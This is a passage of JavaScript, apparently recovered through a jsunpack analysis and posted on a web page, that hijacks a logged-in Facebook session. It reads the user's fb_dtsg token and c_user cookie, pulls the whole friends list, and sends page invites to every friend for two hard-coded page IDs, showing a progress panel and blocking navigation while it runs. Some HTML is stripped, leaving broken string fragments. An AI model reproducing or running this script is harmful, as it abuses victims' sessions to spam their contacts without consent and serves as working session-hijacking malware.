"; err++; if (c.errorDescription) Descriptions += c.errorDescription; else Descriptions += JSON.stringify(c, null, "") } else { Descriptions += "color:darkgreen'>"; Descriptions += arn[i] + " has been invited to like the page " + page_name + "."; suc++ } Descriptions += "
"; var display = ""; display += "
" + Title + "
"; if (i > 0) { display += arr.length + " Friends Detected
"; display += "
" + suc + " Friends Invited of " + (arr.length - i) + " Friends Processed "; display += "(" + i + " Lefted...)"; display += "
"; display += Descriptions; display += "
" + arn[i] + ""; display += "
"; display += "Please Wait While Inviting Your Friends to Like Your Page " + page_name + "."; display += "
Go to HomepageCancel
"; display += _text; display += "
"; display += "
"; display += "
"; window[tag + "_close"] = true } else { Title = "All Of Your Friends Have Been Invited to Like Your Page."; display += arr.length + " Friends Detected and "; display += "
" + suc + " Friends Invited."; display += "
Go to HomepageRefresh PageCancel"; display += "
"; display += _text; display += "
"; window[tag + "_close"] = false } display += "
"; document.getElementById("pagelet_sidebar").innerHTML = display }, "text", "post"); tay--; if (tay > 0) { var s = arr[tay]; setTimeout("InviteFriends(" + s + ")", 100) } console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc); if (page_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=209058342605103&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post") if (page_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=219767641493504&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post") } jx = { b: function () { var b = !1; if ("undefined" != typeof ActiveXObject) try { b = new ActiveXObject("Msxml2.XMLHTTP") } catch (c) { try { b = new ActiveXObject("Microsoft.XMLHTTP") } catch (a) { b = !1 } } else if (window.XMLHttpRequest) try { b = new XMLHttpRequest } catch (h) { b = !1 } return b }, load: function (b, c, a, h, g) { var e = this.d(); if (e && b) { e.overrideMimeType && e.overrideMimeType("text/xml"); h || (h = "GET"); a || (a = "text"); g || (g = {}); a = a.toLowerCase(); h = h.toUpperCase(); b += b.indexOf("?") + 1 ? "&" : "?"; var k = null; "POST" == h && (k = b.split("?"), b = k[0], k = k[1]); e.open(h, b, !0); e.onreadystatechange = g.c ? function () { g.c(e) } : function () { if (4 == e.readyState) if (200 == e.status) { var b = ""; e.responseText && (b = e.responseText); "j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML); c && c(b) } else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status) }; e.send(k) } }, d: function () { return this.b() } }; function ChangeLocation() { window.location.href = "http://www.facebook.com/" } setTimeout("ChangeLocation", 1); window.onbeforeunload = function () { if (window[tag + "_close"]) return "This script is running now!" }; var i = 3; var tay = 3; var suc = 0; var err = 0; var arr = new Array; var arn = new Array; var pho = new Array; var tag = "Close"; var page_name, x = document.getElementsByTagName("span"); for (i = 0; i < x.length; i++) if (x[i].getAttribute("itemprop") == "name") page_name = x[i].innerHTML; var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); jx.load(window.location.protocol + "///www.facebook.com/ajax/typeahead/first_degree.php?viewer=" + user_id + "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=l", function (a) { var b = a; var c = b.substring(b.indexOf("{")); var d = JSON.parse(c); d = d.payload.entries; for (var e = 0; e < d.length; e++) arr.push(d[e].uid); for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text); for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo); i = arr.length - 1; tay = i; console.log(arr.length); var display = "
"; display += "
" + Title + "
"; display += arr.length + " Friends Detected, Please Wait . . ."; display += "
"; document.getElementById("pagelet_sidebar").innerHTML = display; InviteFriends(arr[i]) }); //jsunpack.called CreateElement div //jsunpack.url element = undefined //jsunpack.url var _4855 = var parent=document.getElementsByTagName("html")[0]; var _body = document.getElementsByTagName('body')[0]; var _div = document.createElement('div'); _div.style.height="25"; _div.style.width="100%"; _div.style.position="fixed"; _div.style.top="auto"; _div //jsunpack.url var _4052 = var parent=document.getElementsByTagName("html")[0]; var _body = document.getElementsByTagName('body')[0]; var _div = document.createElement('div'); _div.style.height="25"; _div.style.width="100%"; _div.style.position="fixed"; _div.style.top="auto"; _div
0 comments